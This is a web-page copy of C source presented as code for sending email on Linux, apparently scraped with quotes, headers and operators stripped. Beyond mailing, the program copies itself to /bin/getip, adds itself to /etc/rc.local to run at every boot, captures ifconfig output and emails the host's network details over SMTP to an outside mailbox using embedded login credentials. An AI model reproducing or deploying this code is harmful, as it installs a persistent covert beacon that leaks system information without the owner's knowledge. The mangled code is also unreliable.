linux发代码,Linux系统下发送Email的C语言代码

本代码在thizlinux7.0下测试通过

code by sink (gymiles@sohu.com)

#include //include socket

#include

#include //include fopen(),fread().fwrite(),fclose()

#include //include system()

#include //include gethostbyname()

#define PORT 25 //smtp port

#define SIZE 1024

//define mail commands

#define EHLO 0

#define AUTH 1

#define USER 2

#define PASS 3

#define MAIL 4

#define RCPT 5

#define DATA 6

#define CONT 7

#define QUIT 8

void base64enc(const char *,char *);

int main(int argc,char *argv[])

{

int sockfd;

struct sockaddr_in server_addr;

struct hostent *server_ip;

int numbytes=0,i=0;

char username[512]=;//mail username

char passwd[512]=;//mail passwd

//buff store data by recv(),

//ip[SIZE] store data by fread() from ip_files

(use ifconfig tmp.ip,het ip_files)

char buff[512]=,tmp[4]=,ip[SIZE]=;

int ret=0;//function return

FILE *f_open,*f_write;

char *msg[9]={};

char *n_return[9]={}; //return number

msg[EHLO]=ehlo smtp.163.com

;

msg[AUTH]=auth login

;

base64enc(your name,username);

strcat(username,

);

msg[USER]=username;

base64enc(your passwd,passwd);

strcat(passwd,

);

msg[PASS]=passwd;

msg[MAIL]=mail from:xxxxx@163.com

;

msg[RCPT]=rcpt to:xxxxx@sohu.com

;

msg[DATA]=data

;

msg[QUIT]=quit

;

n_return[EHLO]=250;

n_return[AUTH]=334;

n_return[USER]=334;

n_return[PASS]=235;

n_return[MAIL]=250;

n_return[RCPT]=250;

n_return[DATA]=354;

n_return[CONT]=250;

copy self to /bin/getip

if(strcmp(argv[0],/bin/getip)!=0)// if file /bin/getip

is not existed,copy to it

{

if((f_open=fopen(argv[0],rb)) ==NULL)//open self

{

perror(fopen argv[0] error);

return(-1);

}

if((f_write=fopen(/bin/getip,wb)) ==NULL)//open the

file which we will write to

{

perror(fopen /bin/getip error);

return(-1);

}

while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect

file

{

if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to

/bin/getip

{

perror(fwrite error);

return(-1);

}

}

fclose(f_open);//close all files we have opened

fclose(f_write);

//chmod 755 /bin/getip

if((ret=system(chmod 755 /bin/getip))==-1)

{

perror(system error);

return(-1);

}

//call system(echo /bin/getip /etc/rc.local)

if((ret=system(echo /bin/getip /etc/rc.local))==-1)

{

perror(system error);

return(-1);

}

}

if((ret=system(ifconfig /tmp/tmp.ip))==-1)

{

perror(system error);

return(-1);

}

if((f_open=fopen(/tmp/tmp.ip,r)) ==NULL)//open /tmp/tmp.ip

{

perror(fopen error);

return(-1);

}

i=0;

while((fread(ip,1,1,f_open)) !=-1)//read from tmp.ip

{

i++;

if(iSIZE)//if file is large than SIZE,only read SIZE bytes

break;

}

strncat(ip,

.

,3);//cat

.

to data

msg[CONT]=ip;

fclose(f_open);

if((ret=system(rm -rf /tmp/tmp.ip))==-1)

{

perror(system error);

return(-1);

}

//because the host connect to internet by dail,

//so,it is possiabe that host have not connected when it

start

//then we sleep 5 miniutes,and try again until the host connect to

internet

//we know the connection status by gethostbyname(),but this way is

not always correct

while((server_ip=gethostbyname(smtp.163.com))==NULL)

{

herror(gethostbyname error);

sleep(300);

}

//create a socket

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

perror(socket error);

return(-1);

}

//address information

server_addr.sin_family=AF_INET;//host byte order

server_addr.sin_port=htons(PORT);//short,network byte order

server_addr.sin_addr=*((struct in_addr *)server_ip-h_addr);//server

ip

bzero((server_addr.sin_zero),8);//zero the rest of struct

//connect server

if(connect(sockfd,(struct sockaddr *)server_addr,sizeof(struct

sockaddr))==-1)

{

perror(connect error);

return(-1);

}

//if connect success,server return 220

if((numbytes=recv(sockfd,buff,SIZE,0))==-1)

{

perror(recv error);

return(-1);

}

//clean tmp

for(i=0;i4;i++)

tmp=;

strncpy(tmp,buff,3);

if(strcmp(tmp,220)!=0)

return (-1);

//send msgs. if any step has a mistake,

the while will be breaked,then send quit to end connection

i=EHLO;

while(i {

if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)

{

perror(send error);

break;

}

//sleep(1);we dont have to use it,because recv() can

choke itself until it received data

if((numbytes=recv(sockfd,buff,SIZE,0))==-1)

{

perror(recv error);

break;

}

strncpy(tmp,buff,3);

//printf(command:%s

,msg);

//printf(return buff:%s

,buff);

//printf(should return:%s

,n_return);

if(strcmp(tmp,n_return)==0)

i++;

else

break;

}

//send quit to end mail connection

if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)

{

perror(send error);

return(-1);

}

close(sockfd);

return (0);

}

void base64enc(const char *instr,char *outstr)

{

char *

table=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/;

int instr_len=0,i=0,j=0,pad=0;

unsigned char buf1[4]=,buf2[4]=;

instr_len=strlen(instr);

pad=instr_len%3;

for(i=0;i {

if(i==instr_len-pad)

strncpy(buf1,instr,pad);

else

strncpy(buf1,instr,3);

buf2[0] = buf1[0] 2;

buf2[1] = (buf1[0] 0x03) 4 | buf1[1] 4;

buf2[2] = (buf1[1] 0x0f) 2 | buf1[2] 6;

buf2[3] = buf1[2] 0x3f;

for(j=0;j4;j++)

buf2[j]=table[buf2[j]];

if(i==instr_len-pad)

for(j=3;jpad;j--)

buf2[j]==;

strncat(outstr,buf2,4);

}

}